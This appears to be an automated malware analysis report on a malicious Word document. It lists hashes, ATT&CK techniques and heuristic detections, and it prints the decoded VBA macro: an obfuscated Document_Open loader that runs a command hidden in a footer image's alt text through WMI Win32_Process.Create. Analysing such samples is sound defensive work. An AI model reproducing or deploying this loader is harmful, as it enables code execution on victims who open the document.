Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 253b9adb127445da…

MALICIOUS

Office (OLE)

34.5 KB Created: 2018-01-12 22:40:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: a02e9be824cd125793e10f88169bf801 SHA-1: d6b89b195c3fa64557fafa82e5e1f390f9b9e5ef SHA-256: 253b9adb127445dafdb17f27aebb946877d9705f66ffed35ec910bab76e451b9
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols T1204.002 Malicious File

The sample is a Microsoft Word document containing obfuscated VBA macros, specifically a Document_Open macro designed to execute malicious code. The script uses `GetObject` and `CallByName` with obfuscated strings to construct paths and execute commands, likely to download and run a second-stage payload. The `GetObject` calls construct paths that resemble Windows system locations, suggesting an attempt to interact with or exploit system components.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1157 bytes
SHA-256: bf9d4a820ccf6ab8c92621bc5279da802c26eb6eded78bf332480f41691a1fff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function a(s As String, r As String) As String
    Dim c As Integer
    For c = 1 To Len(r)
        s = Replace(s, Mid(r, c, 1), "")
    Next
    a = s
End Function



Public Function BpSgd() As Variant
    Dim f As String
    f = ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Set ow = GetObject(a("wkiOnmgRmDts:x\\S.\uroohtR\cimOv2", "kORDxSuh"))
    Set os = CallByName(ow, a("fGEeVt", "fEV"), 1, a("hWIiXn32k_HPxroNcHeJssSHtarLtyuEp", "hIXkHxNJLyE"))
    Set oc = CallByName(os, a("SpxaDwnyIinTstaNnceE_", "xDyiTNE"), 1, Null)
    CallByName oc, a("SqhkopwzWiknldJow", "qkpzlJ"), 4, 0
    Set op = GetObject(a("BwAinHmAgmtsA:T\\.\krAoIotL\GcdiJmjv2L:WLinN3X2_UPbrpocUess", "BAHTkILGdJjNXUbp"))
    CallByName op, a("Crecacte", "c"), 1, f, Null, oc, p
End Function

Sub Document_Open()
    Call BpSgd
End Sub